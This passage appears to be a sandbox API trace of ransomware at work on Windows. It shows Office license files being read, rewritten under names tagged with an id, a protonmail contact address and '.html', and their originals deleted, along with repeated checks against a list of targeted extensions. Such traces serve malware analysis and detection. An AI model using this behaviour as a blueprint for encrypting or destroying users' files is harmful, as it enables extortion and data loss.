	[0203.450] WriteFile (in: hFile=0x33c, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0203.450] SetEndOfFile (hFile=0x33c) returned 1
	[0203.799] CloseHandle (hObject=0x33c) returned 1
	[0203.799] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.799] SetEndOfFile (hFile=0x344) returned 1
	[0203.914] CloseHandle (hObject=0x344) returned 1
	[0203.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 1
	[0204.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.442] lstrlenW (lpString=".doc") returned 4
	[0204.442] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.442] lstrlenW (lpString=".docx") returned 5
	[0204.442] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.442] lstrlenW (lpString=".pdf") returned 4
	[0204.443] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.443] lstrlenW (lpString=".xls") returned 4
	[0204.443] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.452] lstrlenW (lpString=".xlsx") returned 5
	[0204.452] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.452] lstrlenW (lpString=".ppt") returned 4
	[0204.452] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.452] lstrlenW (lpString=".zip") returned 4
	[0204.452] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.452] lstrlenW (lpString=".rar") returned 4
	[0204.452] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.452] lstrlenW (lpString=".bz2") returned 4
	[0204.452] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.452] lstrlenW (lpString=".7z") returned 3
	[0204.452] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.452] lstrlenW (lpString=".dbf") returned 4
	[0204.452] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.452] lstrlenW (lpString=".1cd") returned 4
	[0204.452] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.452] lstrlenW (lpString=".jpg") returned 4
	[0204.452] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.453] lstrlenW (lpString=".doc") returned 4
	[0204.453] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString=".docx") returned 5
	[0204.453] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.453] lstrlenW (lpString=".pdf") returned 4
	[0204.453] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString=".xls") returned 4
	[0204.453] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString=".xlsx") returned 5
	[0204.453] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.453] lstrlenW (lpString=".ppt") returned 4
	[0204.453] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.453] lstrlenW (lpString=".zip") returned 4
	[0204.453] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString=".rar") returned 4
	[0204.453] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString=".bz2") returned 4
	[0204.453] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString=".7z") returned 3
	[0204.453] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.453] lstrlenW (lpString=".dbf") returned 4
	[0204.453] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.453] lstrlenW (lpString=".1cd") returned 4
	[0204.453] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms") returned 87
	[0204.453] lstrlenW (lpString=".jpg") returned 4
	[0204.453] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.454] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.454] lstrlenW (lpString="O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 36
	[0204.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.454] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11630) returned 1
	[0204.454] CloseHandle (hObject=0x5d0) returned 1
	[0204.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 0x220
	[0204.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.455] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.455] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.456] GetLastError () returned 0x0
	[0204.456] ReadFile (in: hFile=0x5d0, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0204.458] WriteFile (in: hFile=0x484, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0204.459] ReadFile (in: hFile=0x5d0, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.459] WriteFile (in: hFile=0x484, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0204.459] SetEndOfFile (hFile=0x484) returned 1
	[0204.459] CloseHandle (hObject=0x484) returned 1
	[0204.460] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.460] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.463] CloseHandle (hObject=0x5d0) returned 1
	[0204.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms")) returned 1
	[0204.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.464] lstrlenW (lpString=".doc") returned 4
	[0204.464] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.464] lstrlenW (lpString=".docx") returned 5
	[0204.464] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.464] lstrlenW (lpString=".pdf") returned 4
	[0204.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.464] lstrlenW (lpString=".xls") returned 4
	[0204.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.464] lstrlenW (lpString=".xlsx") returned 5
	[0204.465] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.465] lstrlenW (lpString=".ppt") returned 4
	[0204.465] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.465] lstrlenW (lpString=".zip") returned 4
	[0204.465] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString=".rar") returned 4
	[0204.465] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString=".bz2") returned 4
	[0204.465] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString=".7z") returned 3
	[0204.465] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.465] lstrlenW (lpString=".dbf") returned 4
	[0204.465] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.465] lstrlenW (lpString=".1cd") returned 4
	[0204.465] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.465] lstrlenW (lpString=".jpg") returned 4
	[0204.465] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.465] lstrlenW (lpString=".doc") returned 4
	[0204.465] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString=".docx") returned 5
	[0204.465] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.465] lstrlenW (lpString=".pdf") returned 4
	[0204.465] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString=".xls") returned 4
	[0204.465] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.465] lstrlenW (lpString=".xlsx") returned 5
	[0204.466] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.466] lstrlenW (lpString=".ppt") returned 4
	[0204.466] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.466] lstrlenW (lpString=".zip") returned 4
	[0204.466] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.466] lstrlenW (lpString=".rar") returned 4
	[0204.466] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.466] lstrlenW (lpString=".bz2") returned 4
	[0204.466] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.466] lstrlenW (lpString=".7z") returned 3
	[0204.466] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.466] lstrlenW (lpString=".dbf") returned 4
	[0204.466] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.466] lstrlenW (lpString=".1cd") returned 4
	[0204.466] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86
	[0204.466] lstrlenW (lpString=".jpg") returned 4
	[0204.466] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.466] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.466] lstrlenW (lpString="O365ProPlusR_SubTrial4-pl.xrm-ms") returned 32
	[0204.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.467] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11179) returned 1
	[0204.468] CloseHandle (hObject=0x5d0) returned 1
	[0204.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 0x220
	[0204.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.468] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.468] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.469] GetLastError () returned 0x0
	[0204.469] ReadFile (in: hFile=0x5d0, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0204.473] WriteFile (in: hFile=0x484, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0204.474] ReadFile (in: hFile=0x5d0, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.474] WriteFile (in: hFile=0x484, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x114, lpOverlapped=0x0) returned 1
	[0204.474] SetEndOfFile (hFile=0x484) returned 1
	[0204.474] CloseHandle (hObject=0x484) returned 1
	[0204.474] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.474] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.477] CloseHandle (hObject=0x5d0) returned 1
	[0204.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms")) returned 1
	[0204.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.479] lstrlenW (lpString=".doc") returned 4
	[0204.479] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString=".docx") returned 5
	[0204.479] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.479] lstrlenW (lpString=".pdf") returned 4
	[0204.479] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString=".xls") returned 4
	[0204.479] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString=".xlsx") returned 5
	[0204.479] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.479] lstrlenW (lpString=".ppt") returned 4
	[0204.479] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.479] lstrlenW (lpString=".zip") returned 4
	[0204.479] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString=".rar") returned 4
	[0204.479] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString=".bz2") returned 4
	[0204.479] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString=".7z") returned 3
	[0204.479] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.479] lstrlenW (lpString=".dbf") returned 4
	[0204.479] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.479] lstrlenW (lpString=".1cd") returned 4
	[0204.479] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.479] lstrlenW (lpString=".jpg") returned 4
	[0204.479] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.480] lstrlenW (lpString=".doc") returned 4
	[0204.480] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString=".docx") returned 5
	[0204.480] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.480] lstrlenW (lpString=".pdf") returned 4
	[0204.480] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString=".xls") returned 4
	[0204.480] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString=".xlsx") returned 5
	[0204.480] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.480] lstrlenW (lpString=".ppt") returned 4
	[0204.480] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.480] lstrlenW (lpString=".zip") returned 4
	[0204.480] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString=".rar") returned 4
	[0204.480] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString=".bz2") returned 4
	[0204.480] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString=".7z") returned 3
	[0204.480] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.480] lstrlenW (lpString=".dbf") returned 4
	[0204.480] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.480] lstrlenW (lpString=".1cd") returned 4
	[0204.480] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0204.480] lstrlenW (lpString=".jpg") returned 4
	[0204.481] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.481] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.481] lstrlenW (lpString="O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 33
	[0204.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.482] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=24369) returned 1
	[0204.482] CloseHandle (hObject=0x5d0) returned 1
	[0204.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 0x220
	[0204.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0204.482] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.482] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
